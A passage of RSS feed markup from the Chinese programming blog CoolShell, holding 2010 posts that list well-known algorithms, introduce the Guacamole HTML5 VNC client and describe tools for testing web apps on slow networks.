CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2589.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>113</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些重要的算法</title>\n\t\t<link>https://coolshell.cn/articles/2583.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2583.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 12 Jul 2010 00:27:38 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[排序]]></category>\n\t\t<category><![CDATA[算法]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2583</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一些比较重要的算法，原文罗列了32个，但我觉得有很多是数论里的，和计算机的不相干，所以没有选取。下面的这些，有的我们经常在用，有的基本不用。有的很常见，有...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2583.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2583.html\">一些重要的算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<div>\n<p>下面是一些比较重要的算法，<a href=\"http://www.risc.jku.at/people/ckoutsch/stuff/e_algorithms.html\" target=\"_blank\">原文</a>罗列了32个，但我觉得有很多是数论里的，和计算机的不相干，所以没有选取。下面的这些，有的我们经常在用，有的基本不用。有的很常见，有的很偏。不过了解一下也是好事。也欢迎你留下你觉得有意义的算法。（注：本篇文章并非翻译，其中的算法描述大部份摘自Wikipedia，因为维基百科描述的很专业了）<big></big></p>\n<ol>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/A*%E6%90%9C%E5%AF%BB%E7%AE%97%E6%B3%95\" target=\"_blank\"><strong>A*搜寻算法</strong><br />\n</a></big>俗称A星算法。这是一种在图形平面上，有多个节点的路径，求出最低通过成本的算法。常用于游戏中的NPC的移动计算，或线上游戏的BOT的移动计算上。该算法像<a title=\"Dijkstra算法\" href=\"http://zh.wikipedia.org/zh-cn/Dijkstra%E7%AE%97%E6%B3%95\" target=\"_blank\">Dijkstra算法</a>一样，可以找到一条最短路径；也像<a title=\"BFS\" href=\"http://zh.wikipedia.org/zh-cn/BFS\" target=\"_blank\">BFS</a>一样，进行启发式的搜索。</li>\n<li><big><a href=\"http://en.wikipedia.org/wiki/Beam_search\" target=\"_blank\"><strong>Beam Search</strong></a></big><br />\n束搜索(beam search) 方法是解决优化问题的一种启发式方法,它是在分枝定界方法基础上发展起来的,它使用启发式方法估计k 个最好的路径,仅从这k 个路径出发向下搜索,即每一层只有满意的结点会被保留,其它的结点则被永久抛弃,从而比分枝定界法能大大节省运行时间。束搜索于20 世纪70 年代中期首先被应用于人工智能领域,1976 年Lowerre 在其称为HARPY的语音识别系统中第一次使用了束搜索方法,他的目标是并行地搜索几个潜在的最优决策路径以减少回溯,并快速地获得一个解。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E6%8A%98%E5%8D%8A%E6%90%9C%E7%B4%A2%E7%AE%97%E6%B3%95\" target=\"_blank\"><strong>二分取中查找算法</strong></a></big><br />\n一种在有序数组中查找某一特定元素的搜索算法。搜素过程从数组的中间元素开始，如果中间元素正好是要查找的元素，则搜素过程结束；如果某一特定元素大于或者小于中间元素，则在数组大于或小于中间元素的那一半中查找，而且跟开始一样从中间元素开始比较。这种搜索算法每一次比较都使搜索范围缩小一半。<br />\n<span id=\"more-2583\"></span></li>\n<li><big><a href=\"http://en.wikipedia.org/wiki/Branch_and_bound\" target=\"_blank\"><strong>Branch and bound</strong></a></big><br />\n分支定界 (branch and bound) 算法是一种在问题的解空间树上搜索问题的解的方法。但与回溯算法不同，分支定界算法采用广度优先或最小耗费优先的方法搜索解空间树，并且，在分支定界算法中，每一个活结点只有一次机会成为扩展结点。</li>\n<li><big><a href=\"http://en.wikipedia.org/wiki/Data_compression\" target=\"_blank\"><strong>数据压缩</strong></a><br />\n</big>数据压缩是通过减少计算机中所存储数据或者通信传播中数据的冗余度，达到增大数据密度，最终使数据的存储空间减少的技术。数据压缩在文件存储和分布式系统领域有着十分广泛的应用。数据压缩也代表着尺寸媒介容量的增大和网络带宽的扩展。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/Diffie-Hellman%E5%AF%86%E9%92%A5%E4%BA%A4%E6%8D%A2\" target=\"_blank\"><strong>Diffie–Hellman密钥协商</strong></a><br />\n</big>Diffie–Hellman key exchange，简称“D–H”， 是一种安全协议。它可以让双方在完全没有对方任何预先信息的条件下通过不安全信道建立起一个密钥。这个密钥可以在后续的通讯中作为对称密钥来加密通讯内容。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E8%BF%AA%E7%A7%91%E6%96%AF%E5%BD%BB%E7%AE%97%E6%B3%95\" target=\"_blank\"><strong>Dijkstra&#8217;s 算法</strong></a><br />\n</big>迪科斯彻算法（Dijkstra）是由荷兰计算机科学家<a title=\"艾兹格·迪科斯彻\" href=\"http://zh.wikipedia.org/zh-cn/%E8%89%BE%E8%8C%B2%E6%A0%BC%C2%B7%E8%BF%AA%E7%A7%91%E6%96%AF%E5%BE%B9\">艾兹格·迪科斯彻</a>（Edsger Wybe Dijkstra）发明的。算法解决的是有向图中单个源点到其他顶点的最短路径问题。举例来说，如果图中的顶点表示城市，而边上的权重表示著城市间开车行经的距离，迪科斯彻算法可以用来找到两个城市之间的最短路径。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E5%8A%A8%E6%80%81%E8%A7%84%E5%88%92\" target=\"_blank\"><strong>动态规划</strong></a><br />\n</big>动态规划是一种在数学和计算机科学中使用的，用于求解包含重叠子问题的<a title=\"最优化\" href=\"http://zh.wikipedia.org/zh-cn/%E6%9C%80%E4%BC%98%E5%8C%96\">最优化</a>问题的方法。其基本思想是，将原问题分解为相似的子问题，在求解的过程中通过子问题的解求出原问题的解。动态规划的思想是多种算法的基础，被广泛应用于计算机科学和工程领域。比较著名的应用实例有：求解<a title=\"最短路径\" href=\"http://zh.wikipedia.org/zh-cn/%E6%9C%80%E7%9F%AD%E8%B7%AF%E5%BE%84\">最短路径</a>问题，<a title=\"背包问题\" href=\"http://zh.wikipedia.org/zh-cn/%E8%83%8C%E5%8C%85%E9%97%AE%E9%A2%98\">背包问题</a>，<a title=\"项目管理\" href=\"http://zh.wikipedia.org/zh-cn/%E9%A1%B9%E7%9B%AE%E7%AE%A1%E7%90%86\">项目管理</a>，<a title=\"网络流\" href=\"http://zh.wikipedia.org/zh-cn/%E7%BD%91%E7%BB%9C%E6%B5%81\">网络流</a>优化等。这里也有<a href=\"http://www.cnblogs.com/drizzlecrj/archive/2007/10/26/939159.html\" target=\"_blank\">一篇文章</a>说得比较详细。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E8%BC%BE%E8%BD%89%E7%9B%B8%E9%99%A4%E6%B3%95\" target=\"_blank\"><strong>欧几里得算法</strong></a><br />\n</big>在数学中，辗转相除法，又称欧几里得算法，是求<a title=\"最大公约数\" href=\"http://zh.wikipedia.org/zh-cn/%E6%9C%80%E5%A4%A7%E5%85%AC%E7%BA%A6%E6%95%B0\">最大公约数</a>的算法。辗转相除法首次出现于<a title=\"欧几里得\" href=\"http://zh.wikipedia.org/zh-cn/%E6%AC%A7%E5%87%A0%E9%87%8C%E5%BE%97\">欧几里得</a>的《<a title=\"几何原本\" href=\"http://zh.wikipedia.org/zh-cn/%E5%87%A0%E4%BD%95%E5%8E%9F%E6%9C%AC\">几何原本</a>》（第VII卷，命题i和ii）中，而在中国则可以追溯至东汉出现的《<a title=\"九章算术\" href=\"http://zh.wikipedia.org/zh-cn/%E4%B9%9D%E7%AB%A0%E7%AE%97%E6%9C%AF\">九章算术</a>》。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E6%9C%80%E5%A4%A7%E6%9C%9F%E6%9C%9B%E7%AE%97%E6%B3%95\" target=\"_blank\"><strong>最大期望（EM）算法</strong></a><br />\n</big>在统计计算中，最大期望（EM）算法是在<a title=\"概率\" href=\"http://zh.wikipedia.org/zh-cn/%E6%A6%82%E7%8E%87\">概率</a>（<a title=\"en:probability\" href=\"http://en.wikipedia.org/wiki/probability\">probabilistic</a>）模型中寻找参数最大似然估计的算法，其中概率模型依赖于无法观测的隐藏变量（<a title=\"en:latent variable\" href=\"http://en.wikipedia.org/wiki/latent_variable\">Latent Variable</a>）。最大期望经常用在<a title=\"机器学习\" href=\"http://zh.wikipedia.org/zh-cn/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0\">机器学习</a>和<a title=\"计算机视觉\" href=\"http://zh.wikipedia.org/zh-cn/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89\">计算机视觉</a>的<a title=\"数据聚类\" href=\"http://zh.wikipedia.org/zh-cn/%E6%95%B0%E6%8D%AE%E8%81%9A%E7%B1%BB\">数据聚类</a>（<a title=\"en:data clustering\" href=\"http://en.wikipedia.org/wiki/data_clustering\">Data Clustering</a>）领域。最大期望算法经过两个步骤交替进行计算，第一步是计算期望（E），利用对隐藏变量的现有估计值，计算其最大似然估计值；第二步是最大化（M），最大化在 E 步上求得的最大似然值来计算参数的值。M 步上找到的参数估计值被用于下一个 E 步计算中，这个过程不断交替进行。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E5%BF%AB%E9%80%9F%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2\" target=\"_blank\"><strong>快速傅里叶变换</strong></a><strong> (FFT)</strong><br />\n</big>快速傅里叶变换（Fast Fourier Transform，FFT），是<a title=\"离散傅里叶变换\" href=\"http://zh.wikipedia.org/zh-cn/%E7%A6%BB%E6%95%A3%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2\">离散傅里叶变换</a>的快速算法，也可用于计算离散傅里叶变换的逆变换。快速傅里叶变换有广泛的应用，如<a title=\"数字信号处理\" href=\"http://zh.wikipedia.org/zh-cn/%E6%95%B0%E5%AD%97%E4%BF%A1%E5%8F%B7%E5%A4%84%E7%90%86\">数字信号处理</a>、计算<a title=\"大整数乘法（尚未撰写）\" href=\"http://zh.wikipedia.org/w/index.php?title=%E5%A4%A7%E6%95%B4%E6%95%B0%E4%B9%98%E6%B3%95&amp;action=edit&amp;redlink=1\">大整数乘法</a>、求解<a title=\"偏微分方程\" href=\"http://zh.wikipedia.org/zh-cn/%E5%81%8F%E5%BE%AE%E5%88%86%E6%96%B9%E7%A8%8B\">偏微分方程</a>等等。本条目只描述各种快速算法，对于离散傅里叶变换的性质和应用，请参见<a title=\"离散傅里叶变换\" href=\"http://zh.wikipedia.org/zh-cn/%E7%A6%BB%E6%95%A3%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2\">离散傅里叶变换</a>。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E6%95%A3%E5%88%97%E5%87%BD%E6%95%B8\" target=\"_blank\"><strong>哈希函数</strong></a><br />\n</big>Hash Function是一种从任何一种数据中创建小的数字“指纹”的方法。该函数将数据打乱混合，重新创建一个叫做散列值的指纹。散列值通常用来代表一个短的随机字母和数字组成的字符串。好的散列函数在输入域中很少出现散列冲突。在散列表和数据处理中，不抑制冲突来区别数据，会使得数据库记录更难找到。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E5%A0%86%E7%A9%8D%E6%8E%92%E5%BA%8F\" target=\"_blank\"><strong>堆排序</strong></a><br />\n</big><strong>Heapsort </strong>是指利用<a title=\"堆 (数据结构)\" href=\"http://zh.wikipedia.org/zh-cn/%E5%A0%86_(%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84)\">堆积树</a>（<a title=\"堆 (数据结构)\" href=\"http://zh.wikipedia.org/zh-cn/%E5%A0%86_(%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84)\">堆</a>）这种数据结构所设计的一种排序算法。堆积树是一个近似<a title=\"完全二叉树\" href=\"http://zh.wikipedia.org/zh-cn/%E5%AE%8C%E5%85%A8%E4%BA%8C%E5%8F%89%E6%A0%91\">完全二叉树</a>的结构，并同时满足<em>堆积属性</em>：即子结点的键值或索引总是小于（或者大于）它的父结点。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E5%BD%92%E5%B9%B6%E6%8E%92%E5%BA%8F\" target=\"_blank\"><strong>归并排序</strong></a><br />\n</big><strong>Merge sort</strong>是建立在归并操作上的一种有效的<a title=\"排序\" href=\"http://zh.wikipedia.org/zh-cn/%E6%8E%92%E5%BA%8F\">排序</a><a title=\"算法\" href=\"http://zh.wikipedia.org/zh-cn/%E7%AE%97%E6%B3%95\">算法</a>。该算法是采用<a title=\"分治法\" href=\"http://zh.wikipedia.org/zh-cn/%E5%88%86%E6%B2%BB%E6%B3%95\">分治法</a>（Divide and Conquer）的一个非常典型的应用。</li>\n<li><big><a href=\"http://en.wikipedia.org/wiki/RANSAC\" target=\"_blank\"><strong>RANSAC 算法</strong></a><br />\n</big>RANSAC 是&#8221;RANdom SAmple Consensus&#8221;的缩写。该算法是用于从一组观测数据中估计数学模型参数的迭代方法，由Fischler and Bolles在1981 提出，它是一种非确定性算法，因为它只能以一定的概率得到合理的结果，随着迭代次数的增加，这种概率是增加的。 该算法的基本假设是观测数据集中存在&#8221;inliers&#8221;（那些对模型参数估计起到支持作用的点）和&#8221;outliers&#8221;（不符合模型的点），并且这组观测数据受到噪声影响。RANSAC 假设给定一组&#8221;inliers&#8221;数据就能够得到最优的符合这组点的模型。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-tw/RSA%E5%8A%A0%E5%AF%86%E6%BC%94%E7%AE%97%E6%B3%95\" target=\"_blank\"><strong>RSA加密演算法</strong></a></big><br />\n这是一个公钥加密算法，也是世界上第一个适合用来做签名的算法。今天的RSA已经专利失效，其被广泛地用于电子商务加密，大家都相信，只要密钥足够长，这个算法就会是安全的</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E5%B9%B6%E6%9F%A5%E9%9B%86\" target=\"_blank\"><strong>并查集Union-find</strong></a><br />\n</big>并查集是一种树型的数据结构，用于处理一些不相交集合（Disjoint Sets）的合并及查询问题。常常在使用中以森林来表示。</li>\n<li><big><a href=\"http://blog.52nlp.org/hmm-learn-best-practices-six-viterbi-algorithm-1\" target=\"_blank\"><strong>Viterbi algorithm</strong></a><br />\n</big>寻找最可能的隐藏状态序列(Finding most probable sequence of hidden states)</li>\n</ol>\n<p><strong>附录</strong></p>\n<ul>\n<li>关于这个世界上的算法，你可以看看Wikipedia的这个网页：<a href=\"http://en.wikipedia.org/wiki/List_of_algorithms\">http://en.wikipedia.org/wiki/List_of_algorithms</a></li>\n<li>关于排序算法，你可以看看本站的这几篇文章《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/536.html\" target=\"_blank\">一个显示排序过程的Python脚本</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/399.html\" target=\"_blank\">一个排序算法比较的网站</a>》</li>\n</ul>\n<p>。</p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3933.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"可视化的排序过程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3933.html\" class=\"wp_rp_title\">可视化的排序过程</a></li><li ><a href=\"https://coolshell.cn/articles/536.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/bubble-150x150.png\" alt=\"一个显示排序过程的Python脚本\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/536.html\" class=\"wp_rp_title\">一个显示排序过程的Python脚本</a></li><li ><a href=\"https://coolshell.cn/articles/399.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/sort-150x150.jpg\" alt=\"一个排序算法比较的网站\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/399.html\" class=\"wp_rp_title\">一个排序算法比较的网站</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"一些有意思的算法代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_title\">一些有意思的算法代码</a></li><li ><a href=\"https://coolshell.cn/articles/4671.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"可视化的数据结构和算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4671.html\" class=\"wp_rp_title\">可视化的数据结构和算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2583.html\">一些重要的算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2583.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>36</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Web版的VNC</title>\n\t\t<link>https://coolshell.cn/articles/2593.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2593.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 11 Jul 2010 04:18:19 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[AJAX]]></category>\n\t\t<category><![CDATA[Guacamole]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2593</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>想在Web上远程控制远端的电脑吗？Guacamole开源项目提供了这样的解决方案，其主要使用了HTML5和Ajax。下面是一个载图。如果你能够访问Youtube...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2593.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2593.html\">Web版的VNC</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>想在Web上远程控制远端的电脑吗？<a href=\"http://guacamole.sourceforge.net/\" target=\"_blank\">Guacamole</a>开源项目提供了这样的解决方案，其主要使用了HTML5和Ajax。下面是一个载图。如果你能够访问Youtube的话，你可以看看这个<a href=\"http://www.youtube.com/watch?v=Oag4EUlpL4c&amp;feature=player_embedded\" target=\"_blank\">视频</a>。</p>\n<figure style=\"width: 564px\" class=\"wp-caption aligncenter\"><a href=\"http://guacamole.sourceforge.net/\"><img decoding=\"async\" loading=\"lazy\" title=\"Guacamole\" src=\"http://sourceforge.net/dbimage.php?id=256624\" alt=\"\" width=\"564\" height=\"480\" /></a><figcaption class=\"wp-caption-text\">Guacamole 一个 HTML5 + JavaScript (AJAX) 的 VNC 客户端</figcaption></figure>\n<p>是啊，HTML5强大了，什么都能干了，<a href=\"https://coolshell.cn/articles/2497.html\" target=\"_blank\">连Flash也要取代了</a>。现如今，什么事都在往Web上移植了，Chrome也OS了。可以预见在HTML5出来后，未来这样的事情会越来越多，以后的一些移动和掌上设备真的只需要一个Web Browsers.<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg\" alt=\"Javascript 装载和执行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_title\">Javascript 装载和执行</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2593.html\">Web版的VNC</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2593.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何在低速率网络中测试 Web 应用</title>\n\t\t<link>https://coolshell.cn/articles/2574.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2574.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Fri, 09 Jul 2010 00:00:14 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[测试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2574</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>大家看到标题后的第一个问题可能是：“我们需要这样做吗？” 如果我们开发的是局域网 Web 应用的话，可能没有必要这样做。但如果我们的 Web 应用面向的是互联网...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2574.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2574.html\">如何在低速率网络中测试 Web 应用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>大家看到标题后的第一个问题可能是：“我们需要这样做吗？”</p>\n<p>如果我们开发的是局域网 Web 应用的话，可能没有必要这样做。但如果我们的 Web 应用面向的是互联网上的成千上万的用户，这样做就很必要了。因为在现实世界中并不是所有的用户都有高数率的网络连接，也许用户使用的是拨号接入，移动设备，3G，或者是 USB 网络加密狗。如果我们没有在低数率的网络环境中测试过我们 Web 应用，极有可能在上线后收到一些意想不到的关于系统性能方面的抱怨。这个时候无论我们的 Web 应用界面多么地 Web 2.0，功能多么地强大，对于用户来说都失去了使用价值。</p>\n<p>目前有很多工具能够模拟慢速网络，值得一提的是 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/5917/\">Firefox Throttle</a>，这是一个 Firefox 插件，你可以设置上载和下载的数率，并且监控当前带宽的使用情况。另一个非常有用的特性是它可以控制你的 localhost 的连接数率，对本地测试很有用。</p>\n<p>Firefox Throttle 的截图</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/07/Firefox-Throttle.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-2576\" title=\"Firefox Throttle\" src=\"https://coolshell.cn/wp-content/uploads/2010/07/Firefox-Throttle-300x231.png\" alt=\"\" width=\"300\" height=\"231\" /></a></p>\n<p>另一个工具是 <a href=\"http://www.dallaway.com/sloppy/\">Sloppy</a>，它是一个 Java Web Start application。</p>\n<p><em><a href=\"http://www.devcurry.com/2010/07/simulate-slow-internet-connections.html\">文章来源</a></em><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg\" alt=\"十个免费的Web压力测试工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2589.html\" class=\"wp_rp_title\">十个免费的Web压力测试工具</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a 